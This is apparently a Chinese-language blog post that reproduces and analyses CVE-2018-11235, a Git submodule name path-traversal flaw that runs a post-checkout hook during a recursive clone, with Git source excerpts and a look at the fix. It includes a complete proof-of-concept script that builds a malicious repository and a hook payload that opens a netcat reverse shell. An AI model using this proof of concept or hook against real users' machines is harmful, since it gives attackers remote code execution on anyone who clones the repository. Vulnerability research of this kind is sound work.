漏洞公告

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11235

漏洞复现

Github上已经放出了Rogdham/CVE-2018-11235,原POC还需要git clone Spoon-Knife,对此我做了一些小修改。可以见CVE-2018-11235-DEMO

git clone https://github.com/CHYbeta/CVE-2018-11235-DEMO.git
./build.sh

个人本地测试Git版本:

chybeta@ubuntu  ~/CVE-2018-11235  git --version
git version 2.17.0

其中 build.sh 主要内容如下:

#!/bin/bash

set -e

repo_sub="repo_sub"
git init "$repo_sub"
cd "$repo_sub"
touch chybeta
git add chybeta
git commit -m "test"
cd ..

repo_par="$PWD/repo_par"
git init "$repo_par"
cd "$repo_par"

repo_submodule='./../repo_sub'
git submodule add "$repo_submodule" vuln

mkdir modules
cp -r .git/modules/vuln modules
cp ../vuln.sh modules/vuln/hooks/post-checkout
git add modules

git config -f .gitmodules --rename-section submodule.vuln submodule.../../modules/vuln

git submodule add "$repo_submodule"

git commit -m "CVE-2018-11235"

echo "git clone --recurse-submodules \"$repo_par\" dest_dir"

vuln.sh:

#!/bin/bash
nc -e /bin/sh 127.0.0.1 12345

漏洞分析

在Git中存在Git Hooks的操作,它们被存放在一个repo的.git目录下的hooks文件目录下:

当配置了这些hooks后,其本质上是脚本文件,会被Git所调用。以post-checkout挂钩为例,如果在hooks中存在一个post-checkout脚本,则当在该repo中执行git checkout指令时,则会自动的去执行hooks目录下的post-checkout脚本。

正常情况下,这些hook脚本并不会在clone期间进行传送。也就是说这些脚本是由客户端自己定制的。否则的话,服务端直接在repo中插入hook文件则直接造成了RCE。如下测试,clone的repo3中的hook目录中是没有post-checkout脚本的:

而此次的RCE则是利用了Git的子模块功能,绕过了hook文件的限制。通过对子模块配置,将hook文件推送到了客户端中,从而造成RCE。

先介绍一下submodules即子模块。在一些项目中,项目本身需要包含并使用另外一个项目,而这两个项目又是相互独立的。为了保持提交的独立等,可以在Git中使用子模块submodules来解决。

以前面的build.sh中的内容为例:

repo_sub="repo_sub"
git init "$repo_sub"
cd "$repo_sub"
touch chybeta
git add chybeta
git commit -m "test"
cd ..

这里我们创建了一个仓库repo_sub,接着通过

repo_submodule='./../repo_sub'
git submodule add "$repo_submodule" vuln

将repo_sub作为子模块添加到了仓库repo_par中,同时指定了路径vuln(即别名)。

Git文档:gitsubmodules中提到:

On the filesystem, a submodule usually (but not always - see FORMS below) consists of (i) a Git directory located under the $GIT_DIR/modules/ directory of its superproject, (ii) a working directory inside the superproject’s working directory, and a .git file at the root of the submodule’s working directory pointing to (i).

对于子模块而言,通常情况下,子模块的Git目录存放在$GIT_DIR/modules/中,而其工作目录即父项目的工作目录,同时在工作目录下还有一个.git文件来指向其Git目录。

当添加子模块完成后,在repo_par中会出现.gitmodules文件,该配置文件保存了项目 URL 与已经拉取的本地目录之间的映射。

.gitmodules文件同样受到版本控制的影响,会一起进行推送。这样clone的用户才知道去哪里拉取具体的子模块内容。它的文件格式可以见官方文档gitmodules

这里对子模块vuln而言,它的name就是vuln,path就是vuln,url即为./../repo_sub。关于这个name,在官方文档中有这样一些表述:

The file contains one subsection per submodule, and the subsection value is the name of the submodule. The name is set to the path where the submodule has been added unless it was customized with the --name option of git submodule add. Each submodule section also contains the following required keys....

接下来以git version 2.17.0为例,根据Git源代码看看漏洞的触发点。当repo存在submodule时,会从.gitmodules文件中读取相关信息,并将信息保存到cache中以节省资源。在submodule-config.c第563行gitmodules_cb的最后将会调用parse_config.gitmodules进行解析:

static int gitmodules_cb(const char *var, const char *value, void *data)
{
    struct repository *repo = data;
    struct parse_config_parameter parameter;

    parameter.cache = repo->submodule_cache;
    parameter.treeish_name = NULL;
    parameter.gitmodules_sha1 = null_sha1;
    parameter.overwrite = 1;

    return parse_config(var, value, &parameter);
}

submodule-config.c第362行:

static int parse_config(const char *var, const char *value, void *data)
{
    struct parse_config_parameter *me = data;
    struct submodule *submodule;
    struct strbuf name = STRBUF_INIT, item = STRBUF_INIT;
    int ret = 0;

    /* this also ensures that we only parse submodule entries */
    if (!name_and_item_from_var(var, &name, &item))
        return 0;

    submodule = lookup_or_create_by_name(me->cache,
                         me->gitmodules_sha1,
                         name.buf);
    ....
}

name_and_item_from_var(var, &name, &item)用于从变量var中获得name值,具体代码如下

// submodule-config.c
static int name_and_item_from_var(const char *var, struct strbuf *name,
                  struct strbuf *item)
{
    const char *subsection, *key;
    int subsection_len, parse;
    parse = parse_config_key(var, "submodule", &subsection,
            &subsection_len, &key);
    if (parse < 0 || !subsection)
        return 0;

    strbuf_add(name, subsection, subsection_len);
    strbuf_addstr(item, key);

    return 1;
}

假设.gitmodules中内容为:

[submodule "vuln"]
    path = vuln
    url = ./../repo_sub

则通过parse_config_key解析出来的subsection会通过strbuf_add被添加到name中,即此时name的值为vuln

回到parse_config中,此后将通过lookup_or_create_by_name(me->cache,me->gitmodules_sha1,name.buf)获取子模块的信息并进行一系列操作。

submodule.c第1617行,代码如下:

int submodule_move_head(const char *path,
             const char *old_head,
             const char *new_head,
             unsigned flags)
{
    ...
    // 第 1617 行
    if (!(flags & SUBMODULE_MOVE_HEAD_DRY_RUN)) {
        if (old_head) {
            if (!submodule_uses_gitfile(path))
                absorb_git_dir_into_superproject("", path,
                    ABSORB_GITDIR_RECURSE_SUBMODULES);
        } else {
            char *gitdir = xstrfmt("%s/modules/%s",
                    get_git_common_dir(), sub->name);
            connect_work_tree_and_git_dir(path, gitdir);
            free(gitdir);

            /* make sure the index is clean as well */
            submodule_reset_index(path);
        }

        if (old_head && (flags & SUBMODULE_MOVE_HEAD_FORCE)) {
            char *gitdir = xstrfmt("%s/modules/%s",
                    get_git_common_dir(), sub->name);
            connect_work_tree_and_git_dir(path, gitdir);
            free(gitdir);
        }
    }
    ...
}

这通过xstrfmt("%s/modules/%s",get_git_common_dir(), sub->name)来获得子模块的Git目录。在正常情况下,对于子模块 vuln 而言,get_git_common_dir即父repo的Git目录,即.gitsub->name即前面获得的name值。拼接完成后子模块的Git目录即为.git/modules/vuln

但从前面的代码看来,对于namesub->name,Git并没有做相关的输入检查/路径检查。如果我们通过设置name../../vuln,则拼接后的路径即.git/modules/../../vuln,即当前目录下的vuln目录。这里存在一个目录穿越漏洞,之后的解析将把当前目录下的vuln目录当做子模块的Git目录。

前面说到,.git/hooks目录中的hook脚本并不会在clone期间进行传送。结合目录穿越漏洞,我们考虑这样的攻击方式:

  1. 将目录.git/modules/vuln拷贝到当前目录modules下。
  2. modules/vuln目录中的hooks目录添加hook脚本
  3. 构造子模块,使其name成为../../modules/vuln,使子模块的Git目录信息指向当前目录下module/vuln
  4. 构造repo,使其在git clone时触发hook脚本

先考虑前2条,即对应build.sh中下述代码

mkdir modules
cp -r .git/modules/vuln modules
cp ../vuln.sh modules/vuln/hooks/post-checkout
git add modules

第三条:

git config -f .gitmodules --rename-section submodule.vuln submodule.../../modules/vuln

第四点,为了让.git/modules/../../modules/vulnmodules/vuln下的hooks目录中的hook脚本被调用,执行下述语句:

git submodule add "$repo_submodule"
git commit -m "CVE-2018-11235"

再添加一个子模块。当Git地进行git clone --recurse-submodules时,会发现clone下来的目录中已经有了对应的子模块项目,因此实际上不需要clone,只要进行check out就行。而在check out时则会调用post-checkout脚本。

上述的分析针对 git version 2.17.0 进行。在一些低版本的Git中,由于功能等差异,可能上述环境会出错。Tony Torralba在其博客中复现了Git 2.7.4版本的漏洞,需要利用符号链接来进行RCE,具体的利用过程见 CVE-2018-11235 - Quick & Dirty PoC

补丁浅析

补丁见:https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44

主要是对从.gitmodules中获取的name进行了检查

name_and_item_from_var(var, &name, &item)函数中调用了check_submodule_name来进行检查:

Git在14年也爆过RCE洞(CVE-2014–9390),其原理也是利用了目录穿越加覆盖配置文件,在checkout时进行RCE。具体可见参考链接。

有些地方可能没解释清楚或有不当的地方,欢迎留言讨论。

Reference

源链接

Hacking more

...